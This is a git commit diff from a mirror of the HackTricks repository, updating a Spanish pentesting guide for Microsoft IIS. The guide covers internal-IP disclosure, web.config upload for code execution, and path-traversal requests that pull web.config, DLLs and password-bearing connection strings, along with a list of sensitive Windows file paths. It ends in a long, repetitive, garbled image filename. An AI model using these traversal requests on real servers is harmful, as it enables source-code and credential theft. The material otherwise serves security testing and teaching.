mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
Translated ['network-services-pentesting/pentesting-web/iis-internet-inf
This commit is contained in:
parent
5d9df40b59
commit
8c54fc54f9
1 changed files with 113 additions and 167 deletions
|
@ -1,36 +1,34 @@
|
||||||
# IIS - Servicios de Información de Internet
|
# IIS - Servicios de Información en Internet
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Extensiones de archivo ejecutable de prueba:
|
Extensiones de archivos ejecutables de prueba:
|
||||||
|
|
||||||
* asp
|
* asp
|
||||||
* aspx
|
* aspx
|
||||||
* config
|
* config
|
||||||
* php
|
* php
|
||||||
|
|
||||||
## Divulgación de dirección IP interna
|
## Divulgación de la dirección IP interna
|
||||||
|
|
||||||
En cualquier servidor IIS donde obtenga un 302, puede intentar eliminar el encabezado Host y usar HTTP/1.0 y dentro de la respuesta, el encabezado Location podría apuntar a la dirección IP interna:
|
En cualquier servidor IIS donde obtengas un 302, puedes intentar eliminar el encabezado Host y usar HTTP/1.0 y dentro de la respuesta, el encabezado Location podría apuntarte a la dirección IP interna:
|
||||||
```
|
```
|
||||||
nc -v domain.com 80
|
nc -v domain.com 80
|
||||||
openssl s_client -connect domain.com:443
|
openssl s_client -connect domain.com:443
|
||||||
```
|
```
|
||||||
## Respuesta que revela la dirección IP interna:
|
Respuesta revelando la IP interna:
|
||||||
|
|
||||||
Una respuesta que revela la dirección IP interna puede ser una vulnerabilidad importante en un servidor web. Esto puede ocurrir cuando el servidor web devuelve una respuesta que incluye la dirección IP interna del servidor en lugar de la dirección IP pública. Esto puede permitir que un atacante obtenga información sobre la red interna del servidor y, potencialmente, lanzar ataques adicionales. Es importante asegurarse de que el servidor web esté configurado correctamente para evitar este tipo de filtraciones de información.
|
|
||||||
```
|
```
|
||||||
GET / HTTP/1.0
|
GET / HTTP/1.0
|
||||||
|
|
||||||
HTTP/1.1 302 Moved Temporarily
|
HTTP/1.1 302 Moved Temporarily
|
||||||
Cache-Control: no-cache
|
Cache-Control: no-cache
|
||||||
|
@ -41,13 +39,13 @@ X-FEServer: NHEXCHANGE2016
|
||||||
```
|
```
|
||||||
## Ejecutar archivos .config
|
## Ejecutar archivos .config
|
||||||
|
|
||||||
Puede cargar archivos .config y usarlos para ejecutar código. Una forma de hacerlo es agregar el código al final del archivo dentro de un comentario HTML: [Descargue un ejemplo aquí](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
Puedes cargar archivos .config y usarlos para ejecutar código. Una forma de hacerlo es agregar el código al final del archivo dentro de un comentario HTML: [Descarga el ejemplo aquí](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||||
|
|
||||||
Más información y técnicas para explotar esta vulnerabilidad [aquí](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
Más información y técnicas para explotar esta vulnerabilidad [aquí](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||||||
|
|
||||||
## Fuerza bruta de descubrimiento de IIS
|
## Fuerza bruta de descubrimiento de IIS
|
||||||
|
|
||||||
Descargue la lista que he creado:
|
Descarga la lista que he creado:
|
||||||
|
|
||||||
{% file src="../../.gitbook/assets/iisfinal.txt" %}
|
{% file src="../../.gitbook/assets/iisfinal.txt" %}
|
||||||
|
|
||||||
|
@ -60,15 +58,15 @@ Se creó fusionando el contenido de las siguientes listas:
|
||||||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
||||||
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
||||||
|
|
||||||
Úselo sin agregar ninguna extensión, los archivos que lo necesitan ya la tienen.
|
Úsalo sin agregar ninguna extensión, los archivos que lo necesitan ya la tienen.
|
||||||
|
|
||||||
## Traversal de ruta
|
## Traversal de ruta
|
||||||
|
|
||||||
### Fuga de código fuente
|
### Filtración de código fuente
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
En resumen, hay varios archivos web.config dentro de las carpetas de la aplicación con referencias a archivos "**assemblyIdentity**" y "**namespaces**". Con esta información es posible saber **dónde se encuentran los ejecutables** y descargarlos.\
|
En resumen, hay varios archivos web.config dentro de las carpetas de la aplicación con referencias a archivos "**assemblyIdentity**" y "**namespaces**". Con esta información es posible saber **dónde se encuentran los ejecutables** y descargarlos.\
|
||||||
A partir de los **Dlls descargados**, también es posible encontrar **nuevos espacios de nombres** donde se debe intentar acceder y obtener el archivo web.config para encontrar nuevos espacios de nombres y assemblyIdentity.\
|
A partir de los **Dlls descargados**, también es posible encontrar **nuevos namespaces** a los que debes intentar acceder y obtener el archivo web.config para encontrar nuevos namespaces y assemblyIdentity.\
|
||||||
Además, los archivos **connectionstrings.config** y **global.asax** pueden contener información interesante.\
|
Además, los archivos **connectionstrings.config** y **global.asax** pueden contener información interesante.\
|
||||||
Referencia: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
Referencia: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -83,72 +81,72 @@ HTTP/1.1 200 OK
|
||||||
[...]
|
[...]
|
||||||
<?xml version="1.0" encoding="utf-8"?>
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
<configuration>
|
<configuration>
|
||||||
<configSections>
|
<configSections>
|
||||||
<section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral" requirePermission="false" />
|
<section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral" requirePermission="false" />
|
||||||
</configSections>
|
</configSections>
|
||||||
<appSettings>
|
<appSettings>
|
||||||
<add key="webpages:Version" value="3.0.0.0" />
|
<add key="webpages:Version" value="3.0.0.0" />
|
||||||
<add key="webpages:Enabled" value="false" />
|
<add key="webpages:Enabled" value="false" />
|
||||||
<add key="ClientValidationEnabled" value="true" />
|
<add key="ClientValidationEnabled" value="true" />
|
||||||
<add key="UnobtrusiveJavaScriptEnabled" value="true" />
|
<add key="UnobtrusiveJavaScriptEnabled" value="true" />
|
||||||
</appSettings>
|
</appSettings>
|
||||||
<system.web>
|
<system.web>
|
||||||
<authentication mode="None" />
|
<authentication mode="None" />
|
||||||
<compilation debug="true" targetFramework="4.6.1" />
|
<compilation debug="true" targetFramework="4.6.1" />
|
||||||
<httpRuntime targetFramework="4.6.1" />
|
<httpRuntime targetFramework="4.6.1" />
|
||||||
</system.web>
|
</system.web>
|
||||||
<system.webServer>
|
<system.webServer>
|
||||||
<modules>
|
<modules>
|
||||||
<remove name="FormsAuthentication" />
|
<remove name="FormsAuthentication" />
|
||||||
</modules>
|
</modules>
|
||||||
</system.webServer>
|
</system.webServer>
|
||||||
<runtime>
|
<runtime>
|
||||||
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
|
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
|
||||||
<dependentAssembly>
|
<dependentAssembly>
|
||||||
<assemblyIdentity name="Microsoft.Owin.Security" />
|
<assemblyIdentity name="Microsoft.Owin.Security" />
|
||||||
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
|
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
|
||||||
</dependentAssembly>
|
</dependentAssembly>
|
||||||
<dependentAssembly>
|
<dependentAssembly>
|
||||||
<assemblyIdentity name="Microsoft.Owin.Security.OAuth" />
|
<assemblyIdentity name="Microsoft.Owin.Security.OAuth" />
|
||||||
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
|
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
|
||||||
</dependentAssembly>
|
</dependentAssembly>
|
||||||
<dependentAssembly>
|
<dependentAssembly>
|
||||||
<assemblyIdentity name="Microsoft.Owin.Security.Cookies" />
|
<assemblyIdentity name="Microsoft.Owin.Security.Cookies" />
|
||||||
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
|
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
|
||||||
</dependentAssembly>
|
</dependentAssembly>
|
||||||
<dependentAssembly>
|
<dependentAssembly>
|
||||||
<assemblyIdentity name="Microsoft.Owin" />
|
<assemblyIdentity name="Microsoft.Owin" />
|
||||||
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
|
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
|
||||||
</dependentAssembly>
|
</dependentAssembly>
|
||||||
<dependentAssembly>
|
<dependentAssembly>
|
||||||
<assemblyIdentity name="Newtonsoft.Json" culture="neutral" />
|
<assemblyIdentity name="Newtonsoft.Json" culture="neutral" />
|
||||||
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
|
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
|
||||||
</dependentAssembly>
|
</dependentAssembly>
|
||||||
<dependentAssembly>
|
<dependentAssembly>
|
||||||
<assemblyIdentity name="System.Web.Optimization" />
|
<assemblyIdentity name="System.Web.Optimization" />
|
||||||
<bindingRedirect oldVersion="1.0.0.0-1.1.0.0" newVersion="1.1.0.0" />
|
<bindingRedirect oldVersion="1.0.0.0-1.1.0.0" newVersion="1.1.0.0" />
|
||||||
</dependentAssembly>
|
</dependentAssembly>
|
||||||
<dependentAssembly>
|
<dependentAssembly>
|
||||||
<assemblyIdentity name="WebGrease" />
|
<assemblyIdentity name="WebGrease" />
|
||||||
<bindingRedirect oldVersion="0.0.0.0-1.5.2.14234" newVersion="1.5.2.14234" />
|
<bindingRedirect oldVersion="0.0.0.0-1.5.2.14234" newVersion="1.5.2.14234" />
|
||||||
</dependentAssembly>
|
</dependentAssembly>
|
||||||
<dependentAssembly>
|
<dependentAssembly>
|
||||||
<assemblyIdentity name="System.Web.Helpers" />
|
<assemblyIdentity name="System.Web.Helpers" />
|
||||||
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
|
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
|
||||||
</dependentAssembly>
|
</dependentAssembly>
|
||||||
<dependentAssembly>
|
<dependentAssembly>
|
||||||
<assemblyIdentity name="System.Web.Mvc" />
|
<assemblyIdentity name="System.Web.Mvc" />
|
||||||
<bindingRedirect oldVersion="1.0.0.0-5.2.3.0" newVersion="5.2.3.0" />
|
<bindingRedirect oldVersion="1.0.0.0-5.2.3.0" newVersion="5.2.3.0" />
|
||||||
</dependentAssembly>
|
</dependentAssembly>
|
||||||
<dependentAssembly>
|
<dependentAssembly>
|
||||||
<assemblyIdentity name="System.Web.WebPages" />
|
<assemblyIdentity name="System.Web.WebPages" />
|
||||||
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
|
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
|
||||||
</dependentAssembly>
|
</dependentAssembly>
|
||||||
</assemblyBinding>
|
</assemblyBinding>
|
||||||
```
|
```
|
||||||
En la salida anterior se pueden hacer referencias a varios "**assemblyIdentity**". Estos son archivos que pueden estar ubicados dentro de la carpeta /bin. Por ejemplo: **/bin/WebGrease.dll**.
|
En la salida anterior puedes encontrar referencias a varios "**assemblyIdentity**". Estos son archivos que pueden estar ubicados dentro de la carpeta /bin. Por ejemplo: **/bin/WebGrease.dll**.
|
||||||
|
|
||||||
Otros archivos que podrían encontrarse en el directorio raíz de una aplicación .Net son **/global.asax**.
|
Otros archivos que se pueden encontrar en el directorio raíz de una aplicación .Net son **/global.asax**.
|
||||||
```markup
|
```markup
|
||||||
<%@ Application Codebehind="Global.asax.cs" Inherits="WebApplication1.MvcApplication" Language="C#" %>
|
<%@ Application Codebehind="Global.asax.cs" Inherits="WebApplication1.MvcApplication" Language="C#" %>
|
||||||
```
|
```
|
||||||
|
@ -157,12 +155,12 @@ Y **/connectionstrings.config**
|
||||||
**Nota: ¡este archivo contiene contraseñas!**
|
**Nota: ¡este archivo contiene contraseñas!**
|
||||||
```markup
|
```markup
|
||||||
<connectionStrings>
|
<connectionStrings>
|
||||||
<add name="DefaultConnection" connectionString="Data Source=(LocalDb)\MSSQLLocalDB;AttachDbFilename [...]" providerName="System.Data.SqlClient" />
|
<add name="DefaultConnection" connectionString="Data Source=(LocalDb)\MSSQLLocalDB;AttachDbFilename [...]" providerName="System.Data.SqlClient" />
|
||||||
</connectionStrings>
|
</connectionStrings>
|
||||||
```
|
```
|
||||||
**Espacios de nombres**
|
**Espacios de nombres**
|
||||||
|
|
||||||
Además, las aplicaciones .Net MVC están estructuradas para definir **otros archivos web.config**, con el objetivo de incluir cualquier declaración para espacios de nombres específicos para cada conjunto de páginas de vista, aliviando a los desarrolladores de declarar espacios de nombres "@using" en cada archivo.
|
Además, las aplicaciones .Net MVC están estructuradas para definir **otros archivos web.config**, con el objetivo de incluir cualquier declaración de espacios de nombres específicos para cada conjunto de páginas de vista, aliviando a los desarrolladores de declarar espacios de nombres " @using " en cada archivo.
|
||||||
```markup
|
```markup
|
||||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||||
Host: example-mvc-application.minded
|
Host: example-mvc-application.minded
|
||||||
|
@ -172,30 +170,30 @@ HTTP/1.1 200 OK
|
||||||
[...]
|
[...]
|
||||||
<?xml version="1.0"?>
|
<?xml version="1.0"?>
|
||||||
<configuration>
|
<configuration>
|
||||||
<configSections>
|
<configSections>
|
||||||
<sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
|
<sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
|
||||||
<section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
|
<section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
|
||||||
<section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
|
<section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
|
||||||
</sectionGroup>
|
</sectionGroup>
|
||||||
</configSections>
|
</configSections>
|
||||||
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" /><pages pageBaseType="System.Web.Mvc.WebViewPage">
|
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" /><pages pageBaseType="System.Web.Mvc.WebViewPage">
|
||||||
<namespaces>
|
<namespaces>
|
||||||
<add namespace="System.Web.Mvc" />
|
<add namespace="System.Web.Mvc" />
|
||||||
<add namespace="System.Web.Mvc.Ajax" />
|
<add namespace="System.Web.Mvc.Ajax" />
|
||||||
<add namespace="System.Web.Mvc.Html" />
|
<add namespace="System.Web.Mvc.Html" />
|
||||||
<add namespace="System.Web.Optimization"/>
|
<add namespace="System.Web.Optimization"/>
|
||||||
<add namespace="System.Web.Routing" />
|
<add namespace="System.Web.Routing" />
|
||||||
<add namespace="WebApplication1" />
|
<add namespace="WebApplication1" />
|
||||||
```
|
```
|
||||||
**Descarga de DLLs**
|
**Descargando DLLs**
|
||||||
|
|
||||||
A partir de una respuesta anterior, la declaración de un **espacio de nombres personalizado** (ya que otros espacios de nombres son predeterminados) sugiere que una DLL llamada "**WebApplication1**" está presente en el directorio /bin.
|
A partir de una respuesta anterior, la declaración de un **espacio de nombres personalizado** (ya que los otros espacios de nombres son predeterminados) sugiere que hay una DLL llamada "**WebApplication1**" presente en el directorio /bin.
|
||||||
```
|
```
|
||||||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||||||
Host: example-mvc-application.minded
|
Host: example-mvc-application.minded
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
Del resultado anterior, dentro del directorio /bin también se pueden encontrar los siguientes Dlls:
|
Desde la salida anterior, dentro del directorio /bin también podrás encontrar los Dlls
|
||||||
|
|
||||||
* System.Web.Mvc.dll
|
* System.Web.Mvc.dll
|
||||||
* System.Web.Mvc.Ajax.dll
|
* System.Web.Mvc.Ajax.dll
|
||||||
|
@ -203,7 +201,7 @@ Del resultado anterior, dentro del directorio /bin también se pueden encontrar
|
||||||
* System.Web.Optimization.dll
|
* System.Web.Optimization.dll
|
||||||
* System.Web.Routing.dll
|
* System.Web.Routing.dll
|
||||||
|
|
||||||
Supongamos que el DLL anterior está importando un espacio de nombres llamado **WebApplication1.Areas.Minded.** un atacante puede inferir que otros archivos web.config están presentes en la aplicación, en rutas predecibles / por defecto como **/area-nombre/Views/**, que contienen configuraciones específicas que pueden referirse a otros archivos DLL presentes en la carpeta /bin.
|
Supongamos que el DLL anterior está importando un espacio de nombres llamado **WebApplication1.Areas.Minded**. Un atacante puede inferir que existen otros archivos web.config en la aplicación, en rutas predecibles o por defecto como **/nombre-de-área/Views/**, que contienen configuraciones específicas que pueden hacer referencia a otros archivos DLL presentes en la carpeta /bin.
|
||||||
```markup
|
```markup
|
||||||
GET /download_page?id=..%2f..%2fMinded/Views/web.config HTTP/1.1
|
GET /download_page?id=..%2f..%2fMinded/Views/web.config HTTP/1.1
|
||||||
Host: example-mvc-application.minded
|
Host: example-mvc-application.minded
|
||||||
|
@ -214,24 +212,24 @@ HTTP/1.1 200 OK
|
||||||
<?xml version="1.0"?>
|
<?xml version="1.0"?>
|
||||||
<configuration>
|
<configuration>
|
||||||
<configSections>
|
<configSections>
|
||||||
<sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
|
<sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
|
||||||
<section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
|
<section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
|
||||||
<section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral” requirePermission="false" />
|
<section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral” requirePermission="false" />
|
||||||
</sectionGroup>
|
</sectionGroup>
|
||||||
</configSections>
|
</configSections>
|
||||||
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" />
|
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" />
|
||||||
<pages pageBaseType="System.Web.Mvc.WebViewPage">
|
<pages pageBaseType="System.Web.Mvc.WebViewPage">
|
||||||
<namespaces>
|
<namespaces>
|
||||||
<add namespace="System.Web.Mvc" />
|
<add namespace="System.Web.Mvc" />
|
||||||
<add namespace="System.Web.Mvc.Ajax" />
|
<add namespace="System.Web.Mvc.Ajax" />
|
||||||
<add namespace="System.Web.Mvc.Html" />
|
<add namespace="System.Web.Mvc.Html" />
|
||||||
<add namespace="System.Web.Routing" />
|
<add namespace="System.Web.Routing" />
|
||||||
<add namespace="System.Web.Optimization" />
|
<add namespace="System.Web.Optimization" />
|
||||||
<add namespace="WebApplication1" />
|
<add namespace="WebApplication1" />
|
||||||
<add namespace="WebApplication1.AdditionalFeatures" />
|
<add namespace="WebApplication1.AdditionalFeatures" />
|
||||||
</namespaces>
|
</namespaces>
|
||||||
```
|
```
|
||||||
Ten en cuenta que en la salida anterior se puede ver un nuevo espacio de nombres llamado: **WebApplication1.AdditionalFeatures** que indica que hay otro archivo Dll en la carpeta /bin llamado **WebApplication1.AdditionalFeatures.dll**
|
Observa cómo en la salida anterior puedes ver un nuevo espacio de nombres llamado: **WebApplication1.AdditionalFeatures**, lo cual indica que hay otro archivo DLL en la carpeta /bin llamado **WebApplication1.AdditionalFeatures.dll**
|
||||||
|
|
||||||
### Archivos comunes
|
### Archivos comunes
|
||||||
|
|
||||||
|
@ -299,7 +297,7 @@ C:\Windows\System32\drivers\etc\hosts
|
||||||
C:\Windows\System32\winevt\Logs\Application.evtx
|
C:\Windows\System32\winevt\Logs\Application.evtx
|
||||||
C:\Windows\System32\winevt\Logs\Security.evtx
|
C:\Windows\System32\winevt\Logs\Security.evtx
|
||||||
C:\Windows\System32\winevt\Logs\System.evtx
|
C:\Windows\System32\winevt\Logs\System.evtx
|
||||||
C:\Windows\win.ini
|
C:\Windows\win.ini
|
||||||
C:\xampp\apache\conf\extra\httpd-xampp.conf
|
C:\xampp\apache\conf\extra\httpd-xampp.conf
|
||||||
C:\xampp\apache\conf\httpd.conf
|
C:\xampp\apache\conf\httpd.conf
|
||||||
C:\xampp\apache\logs\access.log
|
C:\xampp\apache\logs\access.log
|
||||||
|
@ -316,67 +314,15 @@ C:\xampp\tomcat\conf\server.xml
|
||||||
|
|
||||||
Si ves un error como el siguiente:
|
Si ves un error como el siguiente:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (446) (1) (2) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) 